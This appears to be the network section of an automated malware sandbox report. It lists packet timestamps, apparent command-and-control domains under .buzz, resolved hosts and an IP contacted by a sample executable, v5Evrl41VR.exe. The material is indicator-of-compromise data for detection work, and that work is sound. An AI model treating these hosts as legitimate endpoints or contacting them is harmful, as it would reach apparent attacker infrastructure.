Dec 28, 2024 09:48:59.069519043 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.069545984 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.070255995 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.070302010 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.070310116 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.070321083 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.070363045 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.071068048 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.071099043 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.071115017 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.071141958 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.071947098 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.071959972 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.071970940 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.071996927 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.072022915 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.072678089 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.072721958 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.072735071 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.072762012 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.073487043 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.073528051 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.073535919 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.073540926 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.073580027 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.074294090 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.074314117 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.074326992 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.074356079 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.075122118 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.075164080 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.075176001 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.075182915 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.075227976 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.075939894 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.075959921 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.075972080 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.076000929 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.076745987 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.076782942 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.076792002 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.076795101 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.076831102 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.077573061 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.077584982 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.077595949 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.077644110 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.078347921 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.078402996 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.078624010 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.078644991 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.078660965 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.078684092 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.079476118 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.079488039 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.079499960 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.079524994 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.079540968 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.080291033 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.080303907 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.080315113 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.080363035 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.081090927 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.081104040 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.081115961 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.081135988 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.081155062 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.081873894 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.081918955 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.081931114 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.081962109 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.082643032 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.082683086 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.082700968 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.082712889 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.082743883 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.083479881 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.083498955 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.083511114 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.083535910 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.084319115 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.084331036 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.084342003 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.084368944 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.084388971 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.085113049 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.085124969 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.085135937 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.085161924 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.085872889 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.085906029 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.085915089 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.085917950 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.085947990 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.086687088 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.086745977 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.086757898 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.086790085 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.087542057 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.087554932 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.087567091 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.087585926 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.087611914 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.251915932 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.251944065 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.251956940 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.252022982 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.252060890 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.252116919 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.252372026 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.252386093 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.252392054 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.252422094 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.252811909 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.252825022 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.252837896 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.252854109 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.252866983 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:59.252927065 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.253523111 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.253534079 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.253546953 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:59.253587008 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:49:07.945452929 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:49:10.825371981 CET	49834	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:49:10.825397015 CET	443	49834	142.250.181.68	192.168.2.11
Dec 28, 2024 09:49:10.825644970 CET	49834	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:49:10.825959921 CET	49834	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:49:10.825969934 CET	443	49834	142.250.181.68	192.168.2.11
Dec 28, 2024 09:49:12.565063953 CET	443	49834	142.250.181.68	192.168.2.11
Dec 28, 2024 09:49:12.566709042 CET	49834	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:49:12.566730976 CET	443	49834	142.250.181.68	192.168.2.11
Dec 28, 2024 09:49:12.567867994 CET	443	49834	142.250.181.68	192.168.2.11
Dec 28, 2024 09:49:12.567972898 CET	49834	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:49:12.569348097 CET	49834	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:49:12.569418907 CET	443	49834	142.250.181.68	192.168.2.11
Dec 28, 2024 09:49:12.701050997 CET	49834	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:49:12.701097965 CET	443	49834	142.250.181.68	192.168.2.11
Dec 28, 2024 09:49:12.899297953 CET	49834	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:49:22.258043051 CET	443	49834	142.250.181.68	192.168.2.11
Dec 28, 2024 09:49:22.258120060 CET	443	49834	142.250.181.68	192.168.2.11
Dec 28, 2024 09:49:22.258234978 CET	49834	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:49:22.965423107 CET	49834	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:49:22.965445995 CET	443	49834	142.250.181.68	192.168.2.11
Dec 28, 2024 09:49:42.585222960 CET	49707	443	192.168.2.11	173.222.162.42
Dec 28, 2024 09:49:42.585279942 CET	443	49707	173.222.162.42	192.168.2.11
Dec 28, 2024 09:50:10.746030092 CET	50058	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:50:10.746089935 CET	443	50058	142.250.181.68	192.168.2.11
Dec 28, 2024 09:50:10.746257067 CET	50058	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:50:10.746665955 CET	50058	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:50:10.746679068 CET	443	50058	142.250.181.68	192.168.2.11
Dec 28, 2024 09:50:12.482036114 CET	443	50058	142.250.181.68	192.168.2.11
Dec 28, 2024 09:50:12.482335091 CET	50058	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:50:12.482367039 CET	443	50058	142.250.181.68	192.168.2.11
Dec 28, 2024 09:50:12.482657909 CET	443	50058	142.250.181.68	192.168.2.11
Dec 28, 2024 09:50:12.482989073 CET	50058	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:50:12.483051062 CET	443	50058	142.250.181.68	192.168.2.11
Dec 28, 2024 09:50:12.525528908 CET	50058	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:50:22.183259010 CET	443	50058	142.250.181.68	192.168.2.11
Dec 28, 2024 09:50:22.183353901 CET	443	50058	142.250.181.68	192.168.2.11
Dec 28, 2024 09:50:22.183398008 CET	50058	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:50:22.918562889 CET	50058	443	192.168.2.11	142.250.181.68
Dec 28, 2024 09:50:22.918593884 CET	443	50058	142.250.181.68	192.168.2.11

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 28, 2024 09:48:26.602085114 CET	57836	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:48:26.742719889 CET	53	57836	1.1.1.1	192.168.2.11
Dec 28, 2024 09:48:26.764278889 CET	61127	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:48:26.904501915 CET	53	61127	1.1.1.1	192.168.2.11
Dec 28, 2024 09:48:26.935764074 CET	60592	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:48:27.077934980 CET	53	60592	1.1.1.1	192.168.2.11
Dec 28, 2024 09:48:27.140574932 CET	49251	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:48:27.280401945 CET	53	49251	1.1.1.1	192.168.2.11
Dec 28, 2024 09:48:27.291081905 CET	51880	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:48:27.430974960 CET	53	51880	1.1.1.1	192.168.2.11
Dec 28, 2024 09:48:27.445106983 CET	63887	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:48:27.584708929 CET	53	63887	1.1.1.1	192.168.2.11
Dec 28, 2024 09:48:27.587918043 CET	59801	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:48:27.727665901 CET	53	59801	1.1.1.1	192.168.2.11
Dec 28, 2024 09:48:27.731116056 CET	60668	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:48:27.871211052 CET	53	60668	1.1.1.1	192.168.2.11
Dec 28, 2024 09:48:27.873164892 CET	56301	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:48:28.013257027 CET	53	56301	1.1.1.1	192.168.2.11
Dec 28, 2024 09:48:28.017076015 CET	62669	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:48:28.156474113 CET	53	62669	1.1.1.1	192.168.2.11
Dec 28, 2024 09:48:30.593595028 CET	53973	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:48:30.733643055 CET	53	53973	1.1.1.1	192.168.2.11
Dec 28, 2024 09:49:06.522584915 CET	53	61065	1.1.1.1	192.168.2.11
Dec 28, 2024 09:49:06.645781994 CET	53	64208	1.1.1.1	192.168.2.11
Dec 28, 2024 09:49:09.406210899 CET	53	58484	1.1.1.1	192.168.2.11
Dec 28, 2024 09:49:10.684540033 CET	54777	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:49:10.684880018 CET	61715	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:49:10.823448896 CET	53	54777	1.1.1.1	192.168.2.11
Dec 28, 2024 09:49:10.824101925 CET	53	61715	1.1.1.1	192.168.2.11
Dec 28, 2024 09:49:13.851247072 CET	52530	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:49:13.851710081 CET	65487	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:49:17.300081015 CET	60459	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:49:17.300296068 CET	49701	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:49:19.784111977 CET	138	138	192.168.2.11	192.168.2.255
Dec 28, 2024 09:49:21.506791115 CET	55194	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:49:21.506983042 CET	55269	53	192.168.2.11	1.1.1.1
Dec 28, 2024 09:49:21.797359943 CET	53	63267	1.1.1.1	192.168.2.11
Dec 28, 2024 09:49:26.419694901 CET	53	56412	1.1.1.1	192.168.2.11
Dec 28, 2024 09:49:45.529752970 CET	53	52912	1.1.1.1	192.168.2.11
Dec 28, 2024 09:50:06.200191975 CET	53	54057	1.1.1.1	192.168.2.11
Dec 28, 2024 09:50:08.213450909 CET	53	58296	1.1.1.1	192.168.2.11

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 28, 2024 09:48:26.602085114 CET	192.168.2.11	1.1.1.1	0xf19f	Standard query (0)	mindhandru.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:48:26.764278889 CET	192.168.2.11	1.1.1.1	0xc392	Standard query (0)	prisonyfork.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:48:26.935764074 CET	192.168.2.11	1.1.1.1	0xead	Standard query (0)	rebuildeso.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:48:27.140574932 CET	192.168.2.11	1.1.1.1	0x846f	Standard query (0)	scentniej.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:48:27.291081905 CET	192.168.2.11	1.1.1.1	0x23e3	Standard query (0)	inherineau.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:48:27.445106983 CET	192.168.2.11	1.1.1.1	0x22d9	Standard query (0)	screwamusresz.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:48:27.587918043 CET	192.168.2.11	1.1.1.1	0x985f	Standard query (0)	appliacnesot.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:48:27.731116056 CET	192.168.2.11	1.1.1.1	0x9c81	Standard query (0)	cashfuzysao.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:48:27.873164892 CET	192.168.2.11	1.1.1.1	0xb506	Standard query (0)	hummskitnj.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:48:28.017076015 CET	192.168.2.11	1.1.1.1	0x1788	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:48:30.593595028 CET	192.168.2.11	1.1.1.1	0x80b2	Standard query (0)	lev-tolstoi.com	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:49:10.684540033 CET	192.168.2.11	1.1.1.1	0xb331	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:49:10.684880018 CET	192.168.2.11	1.1.1.1	0xe81d	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 28, 2024 09:49:13.851247072 CET	192.168.2.11	1.1.1.1	0x5829	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:49:13.851710081 CET	192.168.2.11	1.1.1.1	0xa596	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 28, 2024 09:49:17.300081015 CET	192.168.2.11	1.1.1.1	0x47c5	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:49:17.300296068 CET	192.168.2.11	1.1.1.1	0xa1d5	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 28, 2024 09:49:21.506791115 CET	192.168.2.11	1.1.1.1	0x22e7	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:49:21.506983042 CET	192.168.2.11	1.1.1.1	0x700	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 28, 2024 09:48:26.742719889 CET	1.1.1.1	192.168.2.11	0xf19f	Name error (3)	mindhandru.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:48:26.904501915 CET	1.1.1.1	192.168.2.11	0xc392	Name error (3)	prisonyfork.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:48:27.077934980 CET	1.1.1.1	192.168.2.11	0xead	Name error (3)	rebuildeso.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:48:27.280401945 CET	1.1.1.1	192.168.2.11	0x846f	Name error (3)	scentniej.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:48:27.430974960 CET	1.1.1.1	192.168.2.11	0x23e3	Name error (3)	inherineau.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:48:27.584708929 CET	1.1.1.1	192.168.2.11	0x22d9	Name error (3)	screwamusresz.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:48:27.727665901 CET	1.1.1.1	192.168.2.11	0x985f	Name error (3)	appliacnesot.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:48:27.871211052 CET	1.1.1.1	192.168.2.11	0x9c81	Name error (3)	cashfuzysao.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:48:28.013257027 CET	1.1.1.1	192.168.2.11	0xb506	Name error (3)	hummskitnj.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:48:28.156474113 CET	1.1.1.1	192.168.2.11	0x1788	No error (0)	steamcommunity.com		23.55.153.106	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:48:30.733643055 CET	1.1.1.1	192.168.2.11	0x80b2	No error (0)	lev-tolstoi.com		104.21.66.86	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:48:30.733643055 CET	1.1.1.1	192.168.2.11	0x80b2	No error (0)	lev-tolstoi.com		172.67.157.254	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:49:10.823448896 CET	1.1.1.1	192.168.2.11	0xb331	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:49:10.824101925 CET	1.1.1.1	192.168.2.11	0xe81d	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 28, 2024 09:49:13.991345882 CET	1.1.1.1	192.168.2.11	0x5829	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 09:49:13.991345882 CET	1.1.1.1	192.168.2.11	0x5829	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 09:49:13.991345882 CET	1.1.1.1	192.168.2.11	0x5829	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 09:49:13.991345882 CET	1.1.1.1	192.168.2.11	0x5829	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:49:13.991584063 CET	1.1.1.1	192.168.2.11	0xa596	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 09:49:13.991584063 CET	1.1.1.1	192.168.2.11	0xa596	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 09:49:14.192775011 CET	1.1.1.1	192.168.2.11	0xf2f9	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 09:49:14.289402008 CET	1.1.1.1	192.168.2.11	0x5818	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 09:49:14.289402008 CET	1.1.1.1	192.168.2.11	0x5818	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 09:49:14.289402008 CET	1.1.1.1	192.168.2.11	0x5818	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:49:17.137849092 CET	1.1.1.1	192.168.2.11	0x4f10	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 09:49:17.137907028 CET	1.1.1.1	192.168.2.11	0xd19d	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 09:49:17.137907028 CET	1.1.1.1	192.168.2.11	0xd19d	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 09:49:17.137907028 CET	1.1.1.1	192.168.2.11	0xd19d	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:49:17.439994097 CET	1.1.1.1	192.168.2.11	0xa1d5	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 09:49:17.439994097 CET	1.1.1.1	192.168.2.11	0xa1d5	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 09:49:17.440566063 CET	1.1.1.1	192.168.2.11	0x47c5	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 09:49:17.440566063 CET	1.1.1.1	192.168.2.11	0x47c5	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 09:49:17.440566063 CET	1.1.1.1	192.168.2.11	0x47c5	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 09:49:17.440566063 CET	1.1.1.1	192.168.2.11	0x47c5	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 28, 2024 09:49:21.750817060 CET	1.1.1.1	192.168.2.11	0x700	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 09:49:21.757349014 CET	1.1.1.1	192.168.2.11	0x22e7	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 09:49:28.314757109 CET	1.1.1.1	192.168.2.11	0xbeb	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 09:49:28.321124077 CET	1.1.1.1	192.168.2.11	0x51b5	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 09:49:34.966974020 CET	1.1.1.1	192.168.2.11	0xe75	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 28, 2024 09:49:34.967005968 CET	1.1.1.1	192.168.2.11	0x77e4	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

lev-tolstoi.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49782	185.215.113.16	80	7860	C:\Users\user\Desktop\v5Evrl41VR.exe

Timestamp	Bytes transferred	Direction	Data
